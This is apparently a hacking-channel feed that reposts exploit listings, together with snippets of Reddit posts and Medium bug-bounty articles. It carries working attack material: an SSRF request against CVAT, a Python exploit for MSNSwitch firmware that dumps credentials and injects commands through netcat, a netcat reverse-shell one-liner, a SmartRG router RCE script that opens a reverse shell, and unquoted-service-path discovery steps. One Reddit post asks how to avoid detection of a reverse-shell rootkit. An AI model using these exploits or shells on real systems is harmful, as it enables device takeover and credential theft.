Exploit Collector
Open Web Analytics 1.7.3 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CVAT 2.0 Server-Side Request Forgery

https://2.bp.blogspot.com/-U4x-65bW3GQ/WWlvNN9osvI/AAAAAAAAIMY/h5EIQTz5wbsbDMf6z0LfMa0yML4cI035gCLcBGAs/s1600/h21.png
CVAT version 2.0 suffers from a server-side request forgery vulnerability.

SHA-256 | 73ffdc8cbd20cddc5c30e6639b40f7a33ca517dc70a0e528dc0b60ad3c12a4f2

Download
#Exploit Title: CVAT 2.0 - SSRF (Server Side Request Forgery)
#Exploit Author: Emir Polat
#Vendor Homepage: https://github.com/opencv/cvat
#Version: < 2.0.0
#Tested On: Version 1.7.0 - Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)
#CVE: CVE-2022-31188

# Description:
#CVAT is an opensource interactive video and image annotation tool for computer vision. Versions prior to 2.0.0 were found to be subject to a Server-side request forgery (SSRF) vulnerability.
#Validation has been added to urls used in the affected code path in version 2.0.0. Users are advised to upgrade.

POST /api/v1/tasks/2/data HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: application/json, text/plain, */*
Accept-Language:en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Token 06d88f739a10c7533991d8010761df721b790b7
X-CSRFTOKEN:65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGV
Content-Type: multipart/form-data; boundary=-----------------------------251652214142138553464236533436
Content-Length: 569
Origin: http://localhost:8080
Connection: close
Referer:http://localhost:8080/tasks/create
Cookie: csrftoken=65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGv; sessionid=dzks19fhlfan8fgq0j8j5toyrh49dned
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name="remote files[0]"

http://localhost:8081
-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name=" image quality"

170
-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name="use zip chunks"

true
-----------------------------251652214142138553464236533436
Content-Disposition: form-data; name="use cache"

true
-----------------------------251652214142138553464236533436--


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
MSNSwitch Firmware MNT.2408 Remote Code Execution

https://2.bp.blogspot.com/-GUn1a49o67Q/WWlu9F-J_rI/AAAAAAAAIJo/HAAKEGfKUXIq4oSJFA9qEBzdRn_AvSgtACLcBGAs/s1600/h113.png MSNSwitch Firmware MNT.2408 suffers from a remote code execution vulnerability.

SHA-256 | 0aa2010dca8260f648fb8dbb7af7facb6c5dd2996e3ffb913fb36877a1e3b0d6Download Exploit Title: MSNSwitch Firmware MNT.2408 - Remote Code Exectuion (RCE)
Google Dork: n/a
Date:9/1/2022
Exploit Author: Eli Fulkerson
Vendor Homepage: https://www.msnswitch.com/
Version: MNT.2408
Tested on: MNT.2408 firmware
CVE: CVE-2022-32429

#!/usr/bin/python3
"""

POC for unauthenticated configuration dump, authenticated RCE on msnswitch firmware 2408.

Configuration dump only requires HTTP access.
Full RCE requires you to be on the same subnet as the device.

"""

import requests
import sys
import urllib.parse
import readline
import random
import string
# listen with "ncat -lk {LISTENER_PORT}" on LISTENER_HOST
LISTENER_HOST = "192.168.EDIT.ME"
LISTENER_PORT = 3434

# target msnswitch
TARGET="192.168.EDIT.ME2"
PORT=80

USERNAME = None
PASSWORD = None

"""
First vulnerability, unauthenticated configuration/credential dump
"""
if USERNAME == None or PASSWORD == None:
# lets just ask
hack_url=f"http://{TARGET}:{PORT}/cgi-bin-hax/ExportSettings.sh"
session = requests.session()

data = session.get(hack_url)
for each in data.text.split('\n'):
key = None
val = None

try:
key = each.strip().split('=')[0]
val = each.strip().split('=')[1]
except:
pass

if key == "Account1":
USERNAME = val
if key == "Password1":
PASSWORD = val

"""
Second vulnerability, authenticated command execution

This only works on the local lan.

for full reverse shell, modify and upload netcat busybox shell script to /tmp:

shell script: rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.X.X 4242 >/tmp/f
download to unit: /usr/bin/wget http://192.168.X.X:8000/myfile.txt -P /tmp

ref: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#netcat-busybox
"""

session = requests.session()

# initial login, establishes our Cookie
burp0_url = f"http://{TARGET}:{PORT}/goform/login"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": f"http://{TARGET}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://192.168.120.17/login.asp", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = {"login": "1", "user": USERNAME, "password": PASSWORD}
session.post(burp0_url, headers=burp0_headers, data=burp0_data)

# get our csrftoken
burp0_url = f"http://{TARGET}:{PORT}/saveUpgrade.asp"
data = session.get(burp0_url)

csrftoken = data.text.split("?csrftoken=")[1].split("\"")[0]

while True:
CMD = input('x:')
CMD_u = urllib.parse.quote_plus(CMD)
filename = ''.join(random.choice(string.ascii_letters) for _ in range(25))

try:
hack_url = f"http://{TARGET}:{PORT}/cgi-bin/upgrade.cgi?firmware_url=http%3A%2F%2F192.168.2.1%60{CMD_u}%7Cnc%20{LISTENER_HOST}%20{LISTENER_PORT}%60%2F{filename}%3F&csrftoken={csrftoken}"

session.get(hack_url, timeout=0.01)
except requests.exceptions.ReadTimeout:
pass Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
TOR Virtual Network Tunneling Tool 0.4.7.11

https://1.bp.blogspot.com/-_z3KH6wgATQ/WWlvetqx6oI/AAAAAAAAIP0/wJ_a-RmXRcUnD9obiJAgo7XfY0pS1AZPwCLcBGAs/s1600/h82.png
Tor is a network of virtual tunnels that allows people and groups to improve their privacy and security on the Internet. It also enables software developers to create new communication tools with built-in privacy features. It provides the foundation for a range of applications that allow organizations and individuals to share information over public networks without compromising their privacy. Individuals can use it to keep remote Websites from tracking them and their family members. They can also use it to connect to resources such as news sites or instant messaging services that are blocked by their local Internet service providers (ISPs). This is the source code release.

SHA-256 | cf3cafbeedbdbc5fd1c0540e74d6d10a005eadff929098393815f867e32a136e

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
IOTransfer 4 Unquoted Service Path

https://4.bp.blogspot.com/-hp3wB9AXd0k/WWlvDY5V44I/AAAAAAAAIKs/ScSIhWVAvDAhjeMkIwqbNby9r3gKQvOEgCLcBGAs/s1600/h128.png
IOTransfer version 4 suffers from an unquoted service path vulnerability.

SHA-256 | 2515cc0396c9fe28d6463554e021cf6e157431616218c48cd4778c46dd153be4

Download
# Exploit Title: IOTransfer V4 - Unquoted Service Path
# Exploit Author: BLAY ABU SAFIAN (Inveteck Global)
# Discovery Date: 2022-28-07
# Vendor Homepage: http://www.iobit.com/en/index.php
# Software Link: https://iotransfer.itopvpn.com/download/
# Tested Version: V4
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Microsoft Windows Server 2019 Standard Evaluation CVE-2022-37197
# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

IOTransfer Updater IOTUpdaterSvc C:\Program Files (x86)\IOTransfer\Updater\IOTUpdater.exe
Auto

C:\>sc qc IOTUpdaterSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IOTUpdaterSvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\IOTransfer\Updater\IOTUpdater.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : IOTransfer Updater
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\>systeminfo

OS Name: Microsoft Windows Server 2019 Standard Evaluation
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
SmartRG Router SR510n 2.6.13 Remote Code Execution

https://3.bp.blogspot.com/-nGXsE6SnJzg/WWlu_4hmLPI/AAAAAAAAIKI/Orx5Bzmw2Dg1C2Ys8CQM09j0YgXq__7zgCLcBGAs/s1600/h120.png
SmartRG Router SR510n version 2.6.13 suffers from a remote code execution vulnerability.

SHA-256 | dba419bb745ff6282406231b1e06978a7526ccc1828d7e4bb7c0dee6d345cbe1

Download
# Exploit Title: SmartRG Router SR510n 2.6.13 - RCE (Remote Code Execution)
# Date: 13/06/2022
# Exploit Author: Yerodin Richards
# Vendor Homepage: https://adtran.com
# Version: 2.5.15 / 2.6.13 (confirmed)
# Tested on: SR506n (2.5.15) & SR510n (2.6.13)
# CVE : CVE-2022-37661

import requests
from subprocess import Popen, PIPE

router_host =3D "http://192.168.1.1"
authorization_header =3D "YWRtaW46QWRtMW5ATDFtMyM=3D"

lhost =3D "lo"
lport =3D 80

payload_port =3D 81
def main():
e_proc =3D Popen(["echo", f"rm /tmp/s & mknod /tmp/s p & /bin/sh 0< /tm=
p/s | nc {lhost} {lport} > /tmp/s"], stdout=3DPIPE)
Popen(["nc", "-nlvp", f"{payload_port}"], stdin=3De_proc.stdout)
send_payload(f"|nc {lhost} {payload_port}|sh")
print("done.. check shell")
def get_session():
url =3D router_host + "/admin/ping.html"
headers =3D {"Authorization": "Basic {}".format(authorization_header)}
r =3D requests.get(url, headers=3Dheaders).text
i =3D r.find("&sessionKey=3D") + len("&sessionKey=3D")
s =3D ""
while r[i] !=3D "'":
s =3D s + r[i]
i =3D i + 1
return s
def send_payload(payload):
print(payload)
url =3D router_host + "/admin/pingHost.cmd"
headers =3D {"Authorization": "Basic {}".format(authorization_header)}
params =3D {"action": "add", "targetHostAddress": payload, "sessionKey"=
: get_session()}
requests.get(url, headers=3Dheaders, params=3Dparams).text
main()


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

From Shodan Dork to Grafana Local File Inclusion
https://varmaanu001.medium.com/from-shodan-dork-to-grafana-local-file-inclusion-e77dc4cfc264?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hi readers 📖, This is my new article on local file inclusion I found using shodan recon and further exploiting grafana service.Continue reading on Medium » (https://varmaanu001.medium.com/from-shodan-dork-to-grafana-local-file-inclusion-e77dc4cfc264?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
are there ways to tell if my rootkit had been detected?

it's a simple tcp reverse shell for linux, I'm wondering if there are methods to tell if it had been detected, something to give me a warning, thx in advance

submitted by /u/Artemis-4rrow
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
I’m at a loss. I have a stalker.

I have a phone number and nothing more to provide other than a few fake photos this person has sent me of different people they’ve tried being.

They call me from No Caller ID, so blocking them just isn’t an option. If I turn on to not accept unknown callers- I miss important callers like doctors appts, ect. So can’t do that.

They watch my business pages Instagram stories to see what I’m doing from a WEBSITE called StorySaver.net …lol. They admitted this to me. They changed their location to my town on dating profiles (tinder, hinge)

I need peace of mind. They have already found my home address and left a handwritten letter 4 years ago with no stamps- so they put it in my mailbox by hand..

Going back to the phone number- It is an iMessage number ( 909 Cali area code currently ) but everytime I trace it, I either can’t find anything on it OR some guy named Victor is attached to it but I have a feeling that he was the numbers previous Owner.

I feel as if this person has given me “hints” as to who they are, but it’s been 5 years. And I’m over it. At first I thought I could crack this case myself, but I can’t. Originally he had a PA area code (570) but sometime last year he changed it to a Cali one to throw me off maybe.

I have a few locations(states) they either potentially dwelled in and/or lived.

Can anyone give me hints or tips? I need to find out who this is. I have checked every single website that Google suggests when looking for someone attached to a phone number.

I have the selfies I can provide as well. That are obviously more than likely fake. Anything would be appreciated. I’m Kinda over being scared of this person. (Side note- I reverse searched the selfie images too…no luck) I am so god damn lost and over being harassed.

Also cops are useless in this manner. TIA

submitted by /u/ImageSea2916
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

How to find (“Business_logics”) AND (”Broken Access Control”) Bugs !
https://0xm5awy.medium.com/how-to-find-business-logics-and-broken-access-control-bugs-a31c1a03ced4?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello Awesome Hackers, I hope you all doing well!
My name is Mohamed Anani Or 0xM5awy.Continue reading on Medium » (https://0xm5awy.medium.com/how-to-find-business-logics-and-broken-access-control-bugs-a31c1a03ced4?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to find (“Business_logics”) AND (”Broken Access Control”) Bugs !

https://cdn-images-1.medium.com/max/600/1*-mvpS4ty_fI--z70jQiZ-w.png
Hello Awesome Hackers, I hope you all doing well!
My name is Mohamed Anani Or 0xM5awy.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video